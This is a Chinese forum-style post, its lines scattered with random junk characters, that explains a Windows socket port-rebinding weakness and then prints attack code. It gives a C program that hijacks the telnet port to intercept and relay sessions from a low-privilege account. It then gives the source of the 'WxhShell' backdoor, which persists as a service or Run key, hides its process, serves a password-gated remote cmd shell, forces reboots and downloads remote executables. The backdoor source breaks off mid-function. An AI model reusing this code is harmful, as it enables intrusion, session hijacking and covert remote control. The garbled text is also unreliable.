在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
>|I3h5\M s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
CM's6qhQnn M!6bf saddr.sin_family = AF_INET;
v:T` D &akMj@4;R saddr.sin_addr.s_addr = htonl(INADDR_ANY);
O,1u\Zy/ 1@qb.9wZ6 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
C1rCKKh yZ)ScB^ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
R;V(D3 o_*|`E 这意味着什么?意味着可以进行如下的攻击:
"RX?"pB UZX)1?U 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
y<.!TULa_ x?<5=, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
YL=k&QG ta 6WZu 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
kWz%v Oc'z?6axWv 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
O}f(h5!k -MEz`7c~ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
X9gC2iSs] mVL,J=2 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
tB3CX\e tr/dd&(Y1 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
O`0$pn (Mm{"J3uv #include
/#se>4] #include
9G8QzIac #include
;VFr5.*x #include
G-^ccdT DWORD WINAPI ClientThread(LPVOID lpParam);
;Gs**BB& int main()
k"7eHSy, {
:{
T#M$T WORD wVersionRequested;
ZAH<!@qh DWORD ret;
YPy))>Q>cK WSADATA wsaData;
l>(G3lIw BOOL val;
=GVhAzD3 SOCKADDR_IN saddr;
uWInx6p SOCKADDR_IN scaddr;
r=Q5=(hn int err;
Bw=[g&+o1@ SOCKET s;
%UJ4wm SOCKET sc;
wqOhJYc int caddsize;
oX4uRc7wR HANDLE mt;
UQcmHZ+lf DWORD tid;
h^*{chm] wVersionRequested = MAKEWORD( 2, 2 );
.am*d|&+G err = WSAStartup( wVersionRequested, &wsaData );
KRZV9AJ if ( err != 0 ) {
E\S&} K,s printf("error!WSAStartup failed!\n");
g\)z!DQ] return -1;
,s76]$%4 }
_MEv*Q@o saddr.sin_family = AF_INET;
Wd5t,8*8 "y0A<-~ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
W8NA. 6<Wr
8u, saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
UG_0Y8$ saddr.sin_port = htons(23);
lpUtNy if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
xH[yIfHkG@ {
~`E4E printf("error!socket failed!\n");
$IT9@}*{ return -1;
kwR@oVR^ }
ZRm\d3x4 val = TRUE;
w0Y%}7 //SO_REUSEADDR选项就是可以实现端口重绑定的
[]0~9,u if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
rtx]dc1m {
c7IR06E printf("error!setsockopt failed!\n");
I}IW!K return -1;
3raA^d3!? }
}z+"3A| //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
30E v" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
+yH~G9u( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
ONiI:Z>% mm-UQ\h if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
^(*O$N*# {
Jk`)`94I ret=GetLastError();
D#1~]d printf("error!bind failed!\n");
m@u`$rOh return -1;
i%4k5[f.: }
D])YP0|} listen(s,2);
TF-Ty while(1)
{taVAcb {
"nno)~)u caddsize = sizeof(scaddr);
~!9Px j* //接受连接请求
zn1Rou]6 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
bK8F | if(sc!=INVALID_SOCKET)
bXwoJ2 {
ZCFf@2&z8 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
XuoEAu8] if(mt==NULL)
M.N~fSJ {
\nAHpF printf("Thread Creat Failed!\n");
X/K)kIi break;
uo'31V0 }
I''R\Bp }
<Iyot]E CloseHandle(mt);
{a8^6dm*E }
6*aa[,> closesocket(s);
(e3Gs+; WSACleanup();
~uR6z//% return 0;
5vX8mPR_ }
]'!xc9KGR DWORD WINAPI ClientThread(LPVOID lpParam)
a<wQzgxG {
,,gLrVk SOCKET ss = (SOCKET)lpParam;
x3 6 #x SOCKET sc;
[7Lxt unsigned char buf[4096];
R 4$Q3vcH SOCKADDR_IN saddr;
-N8cjr4l long num;
;s\;78`0 DWORD val;
!H|82:`t+ DWORD ret;
+}1hU
:qW //如果是隐藏端口应用的话,可以在此处加一些判断
Q|=
Q]$d //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
zP(=,)d saddr.sin_family = AF_INET;
!\#Wk0Ku saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
F\=Rm saddr.sin_port = htons(23);
r ctSS:1 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8\)U|/A7 {
ocl47)
printf("error!socket failed!\n");
*M&VqG4P9w return -1;
7}'A)C>J; }
of'ZNQ/ val = 100;
_@/C~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-M:hlwha {
..]*Ao2 ret = GetLastError();
ewAH'H]o return -1;
Le`/ }
=l8!VJa if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
UROj9COv {
i'Y'HI ret = GetLastError();
,zN3? /7 return -1;
[EmOA.6 }
;;YcuzQI3 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
%R5Com {
9'n))%CZ. printf("error!socket connect failed!\n");
^)OZ`u8 closesocket(sc);
h
eE'S/ closesocket(ss);
uS,p|}Q& return -1;
5>ADw3z' }
B0)`wsb_ while(1)
:T7? {
!f\?c7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
'T )Or,d //如果是嗅探内容的话,可以再此处进行内容分析和记录
vXyuEEe //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
.Na&I)udX. num = recv(ss,buf,4096,0);
YgfSC}a if(num>0)
C#Hcv*D send(sc,buf,num,0);
CJ9cCtA else if(num==0)
QN_)3lm break;
G Sz @rDGY num = recv(sc,buf,4096,0);
(]3ERPn#y if(num>0)
cc|CC
Zl send(ss,buf,num,0);
ptV4s=G2 else if(num==0)
Pgn_9Y?< break;
%bIsrQ~B }
Kajkw>z closesocket(ss);
~@T+mHny closesocket(sc);
5Noe/6 return 0 ;
L w>-7) }
2c}B 1P_Fe[8 bnijM/73 ==========================================================
[O^}rUqq i{gDW+N 下边附上一个代码,,WXhSHELL
IWAj Mwo DVObrL)znL ==========================================================
0jBKCu 9[z'/U.Bn #include "stdafx.h"
A)8rk_92Q C@%iQ]= #include <stdio.h>
\).Nag + #include <string.h>
8NnhT E #include <windows.h>
<u0*" #include <winsock2.h>
oG!6}5 #include <winsvc.h>
F?7u~b|@{ #include <urlmon.h>
F(deu^s%{ YMi/uy #pragma comment (lib, "Ws2_32.lib")
('=Z}~ #pragma comment (lib, "urlmon.lib")
SijtTY#r StEQ
-k #define MAX_USER 100 // 最大客户端连接数
qtO1hZ #define BUF_SOCK 200 // sock buffer
(FuEd11R #define KEY_BUFF 255 // 输入 buffer
SGt5~Txj 8+9\7* #define REBOOT 0 // 重启
zei6S #define SHUTDOWN 1 // 关机
+ a-D#^2; _0K.Fk*(! #define DEF_PORT 5000 // 监听端口
yKYl@&H/% Ddb-@YD&+0 #define REG_LEN 16 // 注册表键长度
W;qP=DK2 #define SVC_LEN 80 // NT服务名长度
F"I*-!o JRq3>P // 从dll定义API
>E,Q typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
]a M-p@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
w^ 3|(F typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
sJOV2#r typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
&Y+e=1a+ \Dfm(R // wxhshell配置信息
WVOoHH struct WSCFG {
+,z)# int ws_port; // 监听端口
"CMucK char ws_passstr[REG_LEN]; // 口令
CI^[I\$& int ws_autoins; // 安装标记, 1=yes 0=no
ul$,q05nb char ws_regname[REG_LEN]; // 注册表键名
H37QgApB char ws_svcname[REG_LEN]; // 服务名
s"WBw'_<< char ws_svcdisp[SVC_LEN]; // 服务显示名
b:1 L@8s; char ws_svcdesc[SVC_LEN]; // 服务描述信息
9p4y>3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
D*QYKW=) int ws_downexe; // 下载执行标记, 1=yes 0=no
)&:L'N char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
`"c'z; char ws_filenam[SVC_LEN]; // 下载后保存的文件名
eQ;Q4 [X<Pk };
J#''q"rZ J'e]x[Y // default Wxhshell configuration
{rDq_^ struct WSCFG wscfg={DEF_PORT,
*GJ:+U&m[ "xuhuanlingzhe",
gqfDacDJL 1,
wx*1*KZ "Wxhshell",
et` 0Je "Wxhshell",
_w>uI57U "WxhShell Service",
hO
\/ "Wrsky Windows CmdShell Service",
x#r<,uNn, "Please Input Your Password: ",
{~'H 1,
0q#"clw "
http://www.wrsky.com/wxhshell.exe",
w#9_eq|3 "Wxhshell.exe"
9 I{/zKq };
2 x32U
MD ;|HL+je;Z // 消息定义模块
E{%SR char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
R%"K char *msg_ws_prompt="\n\r? for help\n\r#>";
Bd#
TUy char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
($8t%jVWJJ char *msg_ws_ext="\n\rExit.";
RgZOt[!. char *msg_ws_end="\n\rQuit.";
Q|c|2byb char *msg_ws_boot="\n\rReboot...";
~KPv7WfG char *msg_ws_poff="\n\rShutdown...";
C?o6(p"b char *msg_ws_down="\n\rSave to ";
,[l`zp pRrHuLj^ char *msg_ws_err="\n\rErr!";
2w?hgNz char *msg_ws_ok="\n\rOK!";
Ryv_1gR! /iG7MC\` char ExeFile[MAX_PATH];
'SV7$,mK@ int nUser = 0;
[E|uY]DR HANDLE handles[MAX_USER];
rt}^4IqL int OsIsNt;
/pykW_`/- %\6Q .V#s SERVICE_STATUS serviceStatus;
X{Zm9T SERVICE_STATUS_HANDLE hServiceStatusHandle;
%u!b& 5]e `q_<Im%I // 函数声明
xaW{I7FfG int Install(void);
bK*~ol int Uninstall(void);
=;ICa~`C; int DownloadFile(char *sURL, SOCKET wsh);
e;( int Boot(int flag);
K 1W].(-@4 void HideProc(void);
ej^3YNh& int GetOsVer(void);
D*2\{W/ int Wxhshell(SOCKET wsl);
<]U1\~j void TalkWithClient(void *cs);
uM S*(L_ int CmdShell(SOCKET sock);
v("wKHWTI@ int StartFromService(void);
fk{0d int StartWxhshell(LPSTR lpCmdLine);
,:GN;sIXg uQ3[Jz`y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
RUo9eQIPD VOID WINAPI NTServiceHandler( DWORD fdwControl );
2?DRLF] {vVTv SC // 数据结构和表定义
Mvcfk$pA SERVICE_TABLE_ENTRY DispatchTable[] =
qLK?%?.N< {
h"W8N+e\ {wscfg.ws_svcname, NTServiceMain},
VW<0Lt3 {NULL, NULL}
^3~e/P KM };
,hRN\Kt)p (S/F)? // 自我安装
Nneo{j int Install(void)
&c%Y<1e`% {
^jSsa char svExeFile[MAX_PATH];
uY#TEjGh] HKEY key;
0. ;}]v strcpy(svExeFile,ExeFile);
>)**khuP7 ',=g; // 如果是win9x系统,修改注册表设为自启动
,6"l (]0 if(!OsIsNt) {
yVJ%+d:6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
$xgBKD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#&8rcu;/ RegCloseKey(key);
D E/:[' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
u8L$]vOg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`/IKdO*!S RegCloseKey(key);
'7)" return 0;
u{e-G&]^; }
r4XH = }
0C$vS`s& }
01@t~v3!Z else {
[\e@_vY@OH l*=aMjd? // 如果是NT以上系统,安装为系统服务
5.0e~zlM- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
T)iW`vZg8 if (schSCManager!=0)
CA s>AXbs {
j`>^1Q SC_HANDLE schService = CreateService
w=7L3AW (
-ysn&d\rV schSCManager,
=:I+6PlF@ wscfg.ws_svcname,
(p)!Mq
"^ wscfg.ws_svcdisp,
#f,y&\Xmf SERVICE_ALL_ACCESS,
~$,qgf SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
7/IlL SERVICE_AUTO_START,
j? i#L}.I SERVICE_ERROR_NORMAL,
F7}-! svExeFile,
6g:|*w NULL,
| A)\
: NULL,
uE5X~ NULL,
V"KS[>>f NULL,
e@<?zS6 NULL
~qP[eWe );
(P|pRVO if (schService!=0)
=d`5f@'rl {
EG<s_d? CloseServiceHandle(schService);
Jh/ E@}' CloseServiceHandle(schSCManager);
PL=^}{r strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
TLa]O1=Bf. strcat(svExeFile,wscfg.ws_svcname);
~mz%E if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
R{hf9R , RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Gu0 ,)jy\ RegCloseKey(key);
?}P5p^6 return 0;
:D:DnVZ-[@ }
b7:0#l$ }
2tQ`/!m>v$ CloseServiceHandle(schSCManager);
Z}6^ve }
hVpCB, }
$7Jo8^RE WgQBGch,! return 1;
[\z/Lbn
,. }
pbXi9|bI DvXHK // 自我卸载
15\Ph[6g int Uninstall(void)
cI0 ]}S {
R!\EKH HKEY key;
i'/m4 !>h n$L51#' if(!OsIsNt) {
~p1EF;4 # if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
eDKxn8+(H RegDeleteValue(key,wscfg.ws_regname);
rJyCw+N0 RegCloseKey(key);
'-$XX%TOAc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
PXKJ^fa RegDeleteValue(key,wscfg.ws_regname);
si4-3eC RegCloseKey(key);
/! ajsn return 0;
~`MS~,, }
F"+o@9] }
1`0#HSO }
: esg( else {
:a[Ihqfg qQ[b VD\* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
xb2?lL] if (schSCManager!=0)
C)-^< {
1%[_`J;>Z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
<!d"E@%v@ if (schService!=0)
Y,S\2or$ {
-Yi,_#3{ if(DeleteService(schService)!=0) {
hS [SRa'. CloseServiceHandle(schService);
alMYk CloseServiceHandle(schSCManager);
koG{
|elgB return 0;
+FG$x/\*0 }
ed 59B)?l CloseServiceHandle(schService);
)KSoq/ }
={2!c0s CloseServiceHandle(schSCManager);
-;(Q1)& }
{Bvj"mL]j }
K-vWa2 >c8GW
>\N return 1;
4Aes#{R3v }
>zvY\{WY rt-\g1x // 从指定url下载文件
+ZsX*/TOn int DownloadFile(char *sURL, SOCKET wsh)
-XK0KYhgW {
&Nl2sey HRESULT hr;
Z [Xa%~5>5 char seps[]= "/";
}alj[) char *token;
>>Ar$ char *file;
rsNf$v-* char myURL[MAX_PATH];
\BV
0zKd char myFILE[MAX_PATH];
t
!`Jse> >QE{O.Z strcpy(myURL,sURL);
OWjJxORB token=strtok(myURL,seps);
BG`s6aC|z< while(token!=NULL)
i%Z2wP.o {
MhEw
_{? file=token;
4Cb9%Q0 token=strtok(NULL,seps);
!c W[G/W8 }
'm=*u
SJK * A|-KKo\ GetCurrentDirectory(MAX_PATH,myFILE);
5ABhj* 7 strcat(myFILE, "\\");
n| O [a6G strcat(myFILE, file);
H[Q_hY[>V send(wsh,myFILE,strlen(myFILE),0);
1^J`1 send(wsh,"...",3,0);
f&@BKx hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
m`?MV\^ if(hr==S_OK)
\,UZX&ip return 0;
Gi6T[" else
9%)=`W return 1;
#C*8X+._y h&@R| N }
:c[n\)U[aa L#[]I, // 系统电源模块
hIv@i\` int Boot(int flag)
XEM'}+d {
`<" m%> HANDLE hToken;
NF$\^WvYSP TOKEN_PRIVILEGES tkp;
Z(0@1l`Z-` ~3h-j K? if(OsIsNt) {
8[%Ao/m OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
,SlN zR LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
m#H3:-h, tkp.PrivilegeCount = 1;
"I-
w tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
E N^Uki` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
wmr-}Y!9u% if(flag==REBOOT) {
&Bb<4R if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
)
iQ
return 0;
BZK`O/ }
*v%rMU7, else {
.4.pJbOg if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
_1Z=q.sC return 0;
Y]`.InG@ }
Mq%,lJA\ }
N@o?b else {
2i#Sn' 1 if(flag==REBOOT) {
0pe3L if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
eEc4bVQa return 0;
]Al;l*yw }
1{"llD else {
"R
#k~R if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
f,i5iSYf return 0;
wYsZM/lw }
?@6b>='! }
SJ'
%
^ .]4W!])9 return 1;
ug 7o>PX }
pe0x""K ^W83ByP // win9x进程隐藏模块
Doze8pn void HideProc(void)
!v#xb3"/ {
}71LLzG`/ =(AtfW^H HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
&7?R+ZGo if ( hKernel != NULL )
"7%:sty {
DLE8+NV8
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
C2e.2)y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
kW=z+ FreeLibrary(hKernel);
#>;FUZuJr }
XdgUqQb} 01a-{&
return;
d?idTcgs }
TrVWv
ye6H*K // 获取操作系统版本
\@a$' int GetOsVer(void)
z(RL<N% {
.o{0+fC# OSVERSIONINFO winfo;
&6 -k#r winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
yQS+P8x&|] GetVersionEx(&winfo);
PrF}a<:n: if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
?q2j3e[> return 1;
UsVMoX^ else
>r5P3G1 return 0;
{aKqXL[UP }
UK#&lim UQCo}vM // 客户端句柄模块
$L4/I !Yf int Wxhshell(SOCKET wsl)
^y viV
Y {
~iBgw&Y SOCKET wsh;
*TW=/+j struct sockaddr_in client;
!{,F~i9 DWORD myID;
$V>98M>j Qq-"Cg@-/ while(nUser<MAX_USER)
&>WWzikB* {
/h2b;" int nSize=sizeof(client);
8cx=#Me wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
txql 2 if(wsh==INVALID_SOCKET) return 1;
;.sl*q1A .k{ j]{k handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
MWk:sBCqr if(handles[nUser]==0)
W" "*ASi closesocket(wsh);
]Hj<IvG else
_:n b&B nUser++;
!M<{E* }
k#TYKft WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Bc-yxjsw -u!qrJ*Z return 0;
_;A $C( }
Wm'QP4` zboF
1v` // 关闭 socket
m%+IPZ2m void CloseIt(SOCKET wsh)
8qi+IGRg {
cR-~)UyrO closesocket(wsh);
PHg48Y"Nd nUser--;
I7 QCYB| ExitThread(0);
t HD }
@(``:)Z<b ;Lw{XqT // 客户端请求句柄
nm$Dd~mxW1 void TalkWithClient(void *cs)
BIaDY<j90 {
WzW-pV] Uv_N x10 SOCKET wsh=(SOCKET)cs;
LgmvKW| char pwd[SVC_LEN];
k@>\LR/v char cmd[KEY_BUFF];
1RLY $M char chr[1];
%HQ.| int i,j;
Ou>u% {cK^,?x while (nUser < MAX_USER) {
Sydh2d &WXY 'A= if(wscfg.ws_passstr) {
F1;lQA*7K. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
,iNv' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_s,ao'/ //ZeroMemory(pwd,KEY_BUFF);
c;f!!3& i=0;
";[iZ while(i<SVC_LEN) {
K)7zKEp`cj |as!Ui/J/ // 设置超时
[@<sFP;g fd_set FdRead;
C<^YVeG struct timeval TimeOut;
yn
AB FD_ZERO(&FdRead);
148V2H) FD_SET(wsh,&FdRead);
JuRH>` TimeOut.tv_sec=8;
%Kh4m7 TimeOut.tv_usec=0;
{n3EGSP# int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
MmPU7Nl%X if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
9L0GLmLk1u !9*c8bL D if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
3H\w2V pwd
=chr[0]; QB!~Wh
if(chr[0]==0xd || chr[0]==0xa) { #$~ba%t9%
pwd=0; .%BT,$1K
break; zr v]
} 6dH }]~a
i++; ! hd</_#
}
>DM44
E"iUq
// 如果是非法用户,关闭 socket j!~l,::$"X
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IH48|sa
} mpC`Yk
nL@KX>
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -hcS]~F
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nZ1zJpBmI
e<7.y#L
while(1) { ^VW
PdH/Fe
@[<nQZw:
ZeroMemory(cmd,KEY_BUFF); K`&oC8p
O-]mebTvw
// 自动支持客户端 telnet标准 <tpmUA[]
j=0; NqHy%'R
while(j<KEY_BUFF) { @}_WE,r
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RpG+>"1]
cmd[j]=chr[0]; mvW%
if(chr[0]==0xa || chr[0]==0xd) { 6%`&+Lq
cmd[j]=0; .LVQx
break; !IU.a90V
} <H3ezv1M
j++; uY_SU-v
} Mwb/jTp
"q}FPJ^l_N
// 下载文件 6K
cD&S/
if(strstr(cmd,"http://")) { lPH%Do>K
send(wsh,msg_ws_down,strlen(msg_ws_down),0); eAUcv`[#p
if(DownloadFile(cmd,wsh)) ~AYN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -aRU]kIf
else <9ig?{'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ELrsx{p:
} bn
6WjJ~Z+
else { @uo ~nF j,
')a(.f
switch(cmd[0]) { U<XSj#&8|
tqAd$:L
// 帮助 YDC mI@
case '?': { d@w~[b
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zX5!vaEv
break; jR=s#Xz
} T|&[7%F3"
// 安装 =_j vk.
case 'i': { MT(o"ltQ
if(Install()) xw{-9k-~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V)Z70J<'
else fQrhsuCrC
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yx V:!gl
break; t+oJV+@
} HM>lg`S
// 卸载 9a'-Y
case 'r': { W\1i,ew>
if(Uninstall()) 6y%0`!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zf3v5Hk
else 2Q;9G6p
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
2VW}9O
break; |t$Ma'P
} +cb6??H
// 显示 wxhshell 所在路径 TW !&p"Us+
case 'p': { 9&<x17'
char svExeFile[MAX_PATH]; kd"N29
strcpy(svExeFile,"\n\r"); !w
BJ,&E
strcat(svExeFile,ExeFile); *<1r3!
send(wsh,svExeFile,strlen(svExeFile),0); lKk/p^:
break; j*xV!DqC
} R^{)D3
// 重启 W0I#\b18
case 'b': { R_=6GZH$G
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Jk,;JQ
if(Boot(REBOOT)) .`?@%{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0!v->Dk
else { UGK*G y
closesocket(wsh); #^+DL]*l
ExitThread(0); |>@W
]CX[
} <w3!!+oK"
break; &/,|+U[
} }i!J/tJ)b
// 关机 Q1@A2+ c
case 'd': { vq34/c^
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'vN G(h#%d
if(Boot(SHUTDOWN)) KZPEG!-5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]qhPd_$?D'
else { ON+J>$[[
closesocket(wsh); m,fAeln
ExitThread(0); ^pHq66d%Z
} f 2l{^E#h
break; qWw\_S
} F-6c_!
// 获取shell F2X0%te
case 's': { # W"=ry3{
CmdShell(wsh); fFQ|T:vm
closesocket(wsh); b+Br=Fv"T
ExitThread(0); Y`?-VaY
break; V^;jJ']
} Bj7gQ%>H4
// 退出 2;w*oop,O
case 'x': { R##~*>#
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gCyW Vp
CloseIt(wsh); o=`C<}
break; 8_N]e'WUh
} 2WG>, 4W2
// 离开 Q|@4bz i)
case 'q': { <_Q1k>
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z(Jt~a3o
closesocket(wsh); Kv~U6_=1O
WSACleanup(); l#n,Fg3
exit(1); NFv>B>
break; 13Lr}M&
} vx4+QQYP
} =JmT:enV
} J[&b`A@.o
/t(C>$ }p
// 提示信息 }}<z/zN&^
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o6p98Dpg
} A<ynIs<
} H*r>Y
i7ly[6{^pr
return; k!{p7*0
} p'om-
Fgh]KQ/5
// shell模块句柄 ]~3U
int CmdShell(SOCKET sock) M>/Zbnq
{ ZWS`\M
STARTUPINFO si; VJS8)oI~
ZeroMemory(&si,sizeof(si)); LcE+GC
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; twx[s$O'b
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t2"FXTAq
PROCESS_INFORMATION ProcessInfo; M.>l#4s,'
char cmdline[]="cmd"; nWHa.H#
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y\x+
return 0; <'g:T(t
} znHnVYll(
iya"ky~H
// 自身启动模式 }C|dyyr
int StartFromService(void) \W`w` o
{ 5+wAzVA
typedef struct $r3i2N-I
{ uDZT_c'Y
DWORD ExitStatus; LupkrxV
DWORD PebBaseAddress; 0c#/hFn
DWORD AffinityMask; ,tg0L$qC
DWORD BasePriority; OiP!vn}k
ULONG UniqueProcessId; r4#o+qE
ULONG InheritedFromUniqueProcessId; 'f?$"U JF
